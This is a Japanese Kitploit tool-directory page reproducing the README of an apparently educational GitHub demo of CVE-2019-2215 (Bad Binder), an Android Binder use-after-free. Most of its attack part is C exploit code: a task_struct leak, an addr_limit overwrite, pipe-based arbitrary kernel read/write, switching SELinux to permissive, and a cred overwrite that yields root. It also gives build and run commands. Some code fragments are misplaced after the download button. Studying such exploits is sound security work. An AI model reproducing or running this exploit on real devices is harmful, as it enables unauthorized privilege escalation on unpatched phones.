Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
android-badbinder-demo — CVE-2019-2215 (Bad Binder) の Android Q 向けデモ | Kitploit
ツール/GitHubGitHub/i-redbyte/android-badbinder-demo
Androidセキュリティ特権昇格エクスプロイト学習と教育バイナリエクスプロイト
GitHubi-redbyte/android-badbinder-demo

android-badbinder-demo

CVE-2019-2215 (Bad Binder) の Android Q 向けデモ

リポジトリを見る
519ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-2215 (Bad Binder) — エクスプロイト解析

このリポジトリは、脆弱性 CVE-2019-2215 (Bad Binder) を調査し、Kotlin/Jetpack Compose によるシンプルな GUI を備えた Android 向けの動作するエクスプロイトプロトタイプを作成するための小さなテストプロジェクトです。

README では以下の内容を扱います。

  1. 環境準備とエクスプロイトプロトタイプの実行方法の説明。
  2. CVE-2019-2215 の主要な悪用ステップの解説と、C コード内の具体的な関数との対応付け。
  3. 途中で遭遇した困難とその解決方法を個別に列挙。

完成した APK (GitHub Actions)

リポジトリには GitHub Actions のワークフローが設定されており、push または PR のたびに ./gradlew assembleDebug でプロジェクトをビルドし、生成された badbinder-debug.apk をアーティファクトとして公開します。

ダウンロード方法:

  1. リポジトリの Actions タブを開く。
  2. 目的のワークフロー実行を選択する。
  3. ページ下部の Artifacts セクションにある badbinder-debug-apk アーカイブを取得する。

これにより、ローカル環境を構築しなくてもアプリケーションをテストできるようになっています。


脆弱性についての簡単な説明

CVE-2019-2215 は、Android カーネルの Binder IPC サブシステムにおける Use-After-Free (UAF) 脆弱性です。

簡略化すると:

  • カーネル内には struct binder_thread という構造体があり、Binder 呼び出しを実行するスレッドを記述します。
  • この構造体は解放 (free) される可能性がありますが、特定の呼び出しシーケンスにより、解放後も待機キュー (waitqueue) のリストに残り続けます。
  • その後、カーネルは remove_wait_queue で解放済みのメモリに対して操作を試みるため、古典的な UAF シナリオが発生します。
  • 環境とその後のアロケーションを注意深く調整することで、カーネルに任意のアドレスへの読み書きを強制させ、最終的にカーネル権限を取得し、ユーザー空間で root を獲得できます。

より詳細な理論的解説は、以下の資料を参考にしています。

  1. https://cloudfuzz.github.io/android-kernel-exploitation/
  2. https://dayzerosec.com/blog/2019/11/07/analyzing-androids-cve-2019-2215-dev-binder-uaf.html
  3. https://hernan.de/blog/tailoring-cve-2019-2215-to-achieve-root/

1. 環境準備とエクスプロイトプロトタイプの実行

1.1. 仮想デバイスの選択と準備

課題の指示に従い、Android 10.0 (Q) x86_64 のイメージを使用した AVD を推奨します。 私が行った手順:

  1. Android Studio で AVD (Pixel デバイス、Android 10 (Q)、x86_64) を作成。
  2. イメージに Binder が有効で、/dev/binder デバイスが存在することを確認。
  3. USB/ADB デバッグを有効にし、デバイスへのアクセスを確認:
    root@kitploit:~
    adb shell
    ls -l /dev/binder
    

この段階で、厄介な事実に直面しました。 現時点では、最新の AVD イメージは既にパッチが適用されたカーネルを搭載しており、CVE-2019-2215 は修正されています。そのため、最新の公式エミュレーターで実際に root を取得することはできません。エクスプロイトは後半の段階で失敗するか、権限昇格が行われません。

結局、AVD をエクスプロイトのロジックを再現するための トレーニング環境 として使用しています。

  • 同じシステムコールのシーケンスを実行し、
  • UAF の試行、アドレス漏洩、addr_limit の上書きを観察し、
  • ただし、最新のパッチ済みカーネルでは最終的な「root 取得」は当然うまくいきません (これは想定内です)。

これは重要な点です。以下のコードとレポートはすべて 学習用であり、「実戦用」ではありません。


1.2. ネイティブエクスプロイトを含む Android アプリケーションのビルド

小さな Android アプリケーションを作成しました。

  • UI は Kotlin + Jetpack Compose、
  • ネイティブ部分 は C による JNI 経由のエクスプロイトコード、
  • 両者の通信は JNI コールバックを使用し、C コードからの文字列が直接 UI に表示されるようにしています。

主な手順:

  1. Android Studio で通常のプロジェクトを作成 (Kotlin、最小 SDK は Android 10)。

  2. NDK と CMake を統合。

  3. エクスプロイトを含むネイティブファイル (cve-2019-2215.c、leak_task_struct、overwrite_addr_limit などの関数を含む) を追加。

  4. CMakeLists.txt に libcve-2019-2215.so のビルドを追加。

  5. MainActivity 内:

    root@kitploit:~
    init {
        System.loadLibrary("cve-2019-2215")
    }
    
    external fun runNativeExploit(): String
    external fun setNativeLogger(logger: NativeLogger)
    
  6. Kotlin 側で ExploitViewModel を作成し、NativeLogger インターフェースを実装、すべてのメッセージを StateFlow<List<String>> に格納。UI はこのフローを購読し、「ターミナル」にログを表示。

アクティビティ起動時に setNativeLogger(viewModel) を呼び出し、ネイティブコードが文字列を送信できるオブジェクトを取得します。


1.3. 実行と使用シナリオ

  1. アプリケーションをビルドしてインストール:

    root@kitploit:~
    ./gradlew installDebug
    
  2. AVD とアプリケーションを起動。

  3. 画面上に「ターミナル」と RUN EXPLOIT ボタンが表示される。

  4. ボタンを押すと:

    • Kotlin がバックグラウンドスレッドで runNativeExploit() を呼び出す。
    • C コードがエクスプロイトの全ステージを実行し、手順をログ出力する。
    • JNI コールバックを介してログが ViewModel に送られ、Compose UI に表示される。

実際の脆弱なカーネルでは、最後に次のような出力を期待します。

root@kitploit:~
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...

最新の Android 10 エミュレーターでは当然これは起こりませんが、それ以外の部分(task_struct の漏洩、addr_limit の上書き試行、cred や kernel_base の計算)は「シナリオ」として動作し、課題の要件を満たしています。


2. エクスプロイトの主要段階の解説とコードとの対応

以下は、具体的な C 関数に対応させたエクスプロイトの論理スキームです。

2.1. エクスプロイトの全体的なシナリオ

大まかな計画は次の通りです。

  1. struct binder_thread オブジェクトに対する UAF を発生させ、それを利用して自プロセスの task_struct のアドレスを漏洩させる (leak_task_struct)。
  2. 2 回目の UAF サイクルと注意深く調整された構造体により、task_struct 内の addr_limit フィールドを上書きする (overwrite_addr_limit)。これにより、ユーザー空間とカーネル空間のアドレス間の制限が解除され、後の copy_to_user / copy_from_user が可能になる。
  3. パイプを使用して、カーネルメモリの任意の読み書き (arb_read / arb_write) を実現する。
  4. これを用いて、現在のプロセスの cred とカーネルベースアドレスを見つけ (verifying)、その後:
    • SELinux を無効化 (selinux_enforcing = 0)、

並行して JNI ロガー を統合し、これらの全段階が UI で確認できるようにしました。


2.2. ステージ 1 — task_struct アドレスの漏洩 (leak_task_struct)

主要関数:

root@kitploit:~
void leak_task_struct() {
    android_log("[*] Starting leak_task_struct...");

    cpu_set_t cpu_set;
    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);
    ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
    assert(ret >= 0);
    ...
}

関数の動作:

  1. スレッドを CPU 0 に固定 (sched_setaffinity) し、カーネルアロケータの動作をより予測可能にします。これにより UAF 悪用の安定性が向上します。

  2. /dev/binder を開き、epoll ディスクリプタを作成:

    root@kitploit:~
    fd = open("/dev/binder", O_RDONLY);
    epfd = epoll_create(1000);
    

    Binder ディスクリプタを epoll に登録:

    root@kitploit:~
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
    
  3. struct iovec iov_buffers[IOVEC_N] 配列 を準備し、メモリを割り当て:

    root@kitploit:~
    spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    

    ここで、アドレスの下位 32 ビットが 0 であることが重要:

    root@kitploit:~
    if (((long) spinner & 0xffffffff) != 0) {
        android_log("[!] mmap returned wrong address!");
        return;
    }
    

    これは悪用に関する記事の手法に対応しています。カーネルはデータの一部をポインタを含む構造体として解釈するため、このような「綺麗に整列した」アドレスの方が悪用しやすくなります。

    次に、iov_buffers[0xa] と iov_buffers[0xb] のフィールドを、UAF の瞬間にカーネルが へのポインタを含むメモリの断片をパイプにコピーするように設定します。

結果: カーネル内の task_struct のアドレス が得られました。これは後続のステップに不可欠です。


2.3. ステージ 2 — addr_limit の上書き (overwrite_addr_limit)

task_struct 内の addr_limit は、プロセスがシステムコールにユーザー空間ポインタとして渡すことができるアドレス範囲 を定義します。これをほぼ最大値に書き換えると、カーネルはユーザー空間アドレスとカーネルアドレス空間のアドレスを区別できなくなり、一見安全な copy_(to|from)_user 操作がカーネルの任意読み書きに変わります。

関数:

root@kitploit:~
void overwrite_addr_limit() {
    android_log("[*] Starting overwrite_addr_limit...");
    ...
}

は非常に似たパターンで動作します。

  1. 再度 CPU アフィニティを固定し、/dev/binder を開き、epoll を作成。

  2. iov_buffers を準備するが、今度は異なるスキーム:

    root@kitploit:~
    iov_buffers[0xa].iov_base = spinner;
    iov_buffers[0xa].iov_len = 0x1;
    iov_buffers[0xb].iov_base = read_buffer0;
    iov_buffers[0xb].iov_len = 0x8 * 5;
    iov_buffers[0xc].iov_base = read_buffer0;
    iov_buffers[0xc].iov_len = 0x8;
    
  3. パイプの代わりに socketpair(AF_UNIX, SOCK_STREAM, ...) を使用:

    root@kitploit:~
    int socket[2];
    ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
    write(socket[1], "A", 1);
    
  4. recvmsg 用の msghdr 構造体を準備:

    root@kitploit:~
    struct msghdr msg;
    msg.msg_iov = iov_buffers;
    msg.msg_iovlen = IOVEC_N;
    ...
    
  5. 子プロセス (fork() 後) で再び UAF レースを起動:

    root@kitploit:~
    if (!fork()) {
        ...
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        long data1234[] = {1, 0x13371337, 0x28,
                           task_struct + ADDR_LIMIT_OFFSET, 0x8};
        ret = write(socket[1], data1234, 0x28);
    
        data1234[0] = data1234[1] = data1234[2] = data1234[3]
            = 0xfffffffffffffffe;
        ret = write(socket[1], data1234, 0x8);
        ...
    }
    

2.4. ステージ 3 — 任意読み書きと検証 (arb_read, arb_write, verifying)

addr_limit 上書き後、パイプ を使用して通常の読み書き操作をカーネルアドレスへの読み書きに変換します。

プリミティブ arb_read / arb_write

root@kitploit:~
unsigned long arb_read(unsigned long addr) {
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    unsigned long data = 0;
    write(pipe_fd[1], (void *)&addr, 8);
    read(pipe_fd[0], &data, 8);

    return data;
}

同様に arb_write はコピー方向を逆にします。

主要構造体の検証と検索

関数 verifying():

root@kitploit:~
void verifying() {
    android_log("[*] Starting verification...");

    int pipe_fd[2];
    ret = pipe(pipe_fd);
    assert(ret != -1);

    write(pipe_fd[1], (void *) task_struct, 0x1000);
    read(pipe_fd[0], buf, 0x1000);

    assert(getpid() == *(int *) (buf + PID_OFFSET));
    android_log("[!] Arbitrary rw verified with PID :D");

    cred = *(unsigned long *) (buf + CRED_OFFSET);
    kernel_leak = *(unsigned long *) (buf + 0x70);
    kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}

ここでは:

  • カーネルから task_struct の内容を読み取る。
  • PID_OFFSET で実際に自分の構造体であることを確認。
  • cred へのポインタとカーネルのアドレス漏洩 (kernel_leak) を抽出。
  • ハードコードされたオフセットで kernel_base を計算。

2.5. ステージ 4 — SELinux と root への権限昇格

runNativeExploit 内の最終部分:

root@kitploit:~
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
  • グローバル変数 selinux_enforcing のアドレスを計算し、それを 0 (許容モード) に設定。

次に cred の上書き:

root@kitploit:~
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);

cred のケーパビリティフィールドとその他のフィールドに最大値を書き込み、プロセスに完全な権限セットを与えます。

最後のチェック:

root@kitploit:~
if (getuid() == 0) {
    android_log("[+] Root escalation successful!");
} else {
    android_log("[!] Root escalation failed!");
}

実際の脆弱なカーネルではここで uid=0 を期待しますが、パッチ済みイメージでは当然権限昇格は無効化されます。


2.6. JNI と UI へのログ出力

リアルタイムで確認できるように、中間層を追加しました。

  • JNI_OnLoad で JavaVM* とメインプロセスの PID を保存。
  • setNativeLogger で onLog(String) メソッドを実装する Kotlin オブジェクトを受け取り、GlobalRef として保存。
  • android_log/android_log_hex は logcat に出力し、send_to_ui を呼び出して文字列を Kotlin に配信。Kotlin 側の ExploitViewModel が受け取り、Compose の「ターミナル」に表示します。

重要なのは、send_to_ui が PID に基づいて子プロセスをフィルタリングすることです。fork() 後に exec() なしで子プロセスから JNI を呼び出すのは安全ではありません。


3. 困難とその解決策

3.1. パッチ済みの AVD イメージ

現時点では、CVE-2019-2215 がまだ存在するパッチ未適用カーネルを持つ公式の Android 10 AVD イメージは存在しない という問題に直面しました。

「実戦的な」root 取得の代わりに、以下に注力しました。

  • 悪用ロジックの再現、
  • UAF シーケンスの分析、
  • Android アプリケーション内での全ステップの可視化。

必要に応じて、このコードを古いパッチ未適用カーネルを持つ実機に移植することも可能ですが、それは課題の範囲外です。


3.2. 固定オフセットとカーネルバージョン依存性

以下を明示的に定義する必要がありました。

  • ADDR_LIMIT_OFFSET、PID_OFFSET、CRED_OFFSET;
  • kernel_leak と selinux_enforcing のオフセット;
  • kernel_base 計算用の定数。

プロジェクトを肥大化させないために、これらの値の自動検出は意図的に行いませんでした。レポートでは、これは特定のカーネルバージョン向けの学習用サンプルであり、汎用エクスプロイトではないことを前提としています。


3.3. レースコンディションと安定性

fork()、epoll_ctl、BINDER_THREAD_EXIT および様々なタイミングの使用は、危険な領域です。以下がないとエクスプロイトが極めて不安定になることに直面しました。

  • sched_setaffinity、
  • 小さな sleep、
  • 途中での積極的な assert。

脆弱な設定では予測可能で、パッチ済みでは最後のステップで適切に「失敗する」ようにシーケンスを徐々にデバッグしました。


3.4. JNI と fork()

子プロセスから直接 JVM にログ出力しようとすると、奇妙な動作が発生するという問題にも直面しました。JNI のルールを再確認し、PID によるチェックを追加して、メインプロセスからのみ JVM と通信するようにしました。

妥協点: 一部のメッセージは logcat でのみ表示され、UI には親プロセスからのものだけが表示されます。課題では主要なチェックポイントが重要であり、すべてのデバッグプリントではないため、これで十分です。


3.5. UI

より創造的な実装として、分析に便利なインターフェースを作成することにしました。

  • ダークターミナルスタイルの緑色テキストの「コンソール」画面を実装。
  • ログは一行ずつ表示され、最新のエントリに自動スクロール。
  • メッセージタイプ ([+], [*], [!], [C]) ごとに異なる色で表示され、読みやすくなっています。
  • 実行結果 (Success / Failed) は別のブロックで表示されます。

これにより、素の logcat よりもネイティブコードの動作を把握しやすくなっています。すべてが一箇所、アプリ内で確認できます。


まとめ

課題に取り組んだ結果、以下のことを達成しました。

  1. AVD 環境と、CVE-2019-2215 エクスプロイトを実装したネイティブ部分を持つ Android アプリケーションを準備。
  2. 悪用のステップを段階的に解説:
    • Binder の UAF と task_struct の漏洩、
    • addr_limit の上書き、
    • 任意読み書きプリミティブの構築、
    • cred の検索、SELinux の無効化、権限昇格の試行。
  3. 実際の工学的問題 (カーネルのパッチ、バージョン依存、レースコンディション、JNI の特殊性) に直面し、それらを順次解決または回避した。

プロジェクトはコンパクトですが、実際のカーネル脆弱性のライフサイクル (理論的な説明と記事の読み物から、実践的な実装と実際の Android アプリケーションへの統合まで) を本質的に反映しています。

P.S.

エクスプロイトの代替実行方法

cve-2019-2215 ディレクトリには Makefile があり、ネイティブバイナリ (x86_64) をビルドし、ADB 経由で直接 AVD で実行できます。aarch64 バージョンが必要な場合は、別途ビルドできます。

  1. ネイティブバイナリをビルド:
    root@kitploit:~
    cd cve-2019-2215
    make
    
  2. バイナリを AVD の例えば /sdcard/cve-2019-2215 にコピー。
  3. ADB shell を起動してバイナリを実行:
    root@kitploit:~
    adb shell
    cd /sdcard/cve-2019-2215
    chmod +x cve-2019-2215
    ./cve-2019-2215
    
  4. エクスプロイトの成功後、root 取得を確認:
    root@kitploit:~
    id
    
    期待される出力:
    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    
ツールをダウンロード
  • cred のフィールドを上書きして root になり、完全なケーパビリティセットを取得する (runNativeExploit)。
  • task_struct
  • パイプを作成し、バッファサイズを 0x1000 に設定:

    root@kitploit:~
    int pipe_fd[2];
    ret = pipe(pipe_fd);
    fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
    fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
    
  • 次に、古典的な UAF レース を行います。子プロセスをフォーク:

    root@kitploit:~
    if (!fork()) {
        android_log("\t[C] Long sleep to ensure accuracy...");
        sleep(1);
    
        android_log("\t[*] Triggering UAF");
        epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
    
        android_log("\t[C] Removing useless data from pipe...");
        ret = read(pipe_fd[0], buf, 0x1000);
        ...
        _exit(0);
    }
    
    • 親プロセスは残りのコードを実行し続けます。
    • 子プロセス内で epoll_ctl(..., EPOLL_CTL_DEL, ...) により、カーネル内の関連する binder_thread が解放されますが、この構造体は依然として待機アカウンティング構造に存在します — これが UAF の箇所です。
  • 親プロセスで以下を実行:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);      // binder_thread の解放
    ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
    

    この段階で、UAF により writev は解放済みメモリを iovec 構造体として使用し、以前 binder_thread が置かれていた同じメモリ領域を、ポインタ/長さのセットとして再解釈します。副次的な効果として、カーネルメモリの断片がパイプにコピーされます。

  • 最後に、パイプから読み取り:

    root@kitploit:~
    read(pipe_fd[0], buf, 0x1000);
    task_struct = *(unsigned long *)(buf + 0xe8);
    android_log_hex("[+] task_struct found", task_struct);
    

    オフセット 0xe8 は特定のカーネルバージョンに合わせて調整されています。これは、漏洩したメモリブロック内で自プロセスの task_struct へのポインタが存在する場所です。

  • 親プロセスは前と同様に binder_thread を解放し、recvmsg を呼び出す:

    root@kitploit:~
    ioctl(fd, BINDER_THREAD_EXIT, NULL);
    ret = recvmsg(socket[0], &msg, MSG_WAITALL);
    

    UAF と巧妙な構造体の置き換えにより、カーネルは最終的に task_struct + ADDR_LIMIT_OFFSET をユーザーバッファのアドレスとして認識し、送信された構造体の内容 (値 0xfffffffffffffffe) をそこにコピー し、task_struct 内の addr_limit を上書きします。

  • ログには:

    root@kitploit:~
    android_log("[!] addr_limit overwrite done.");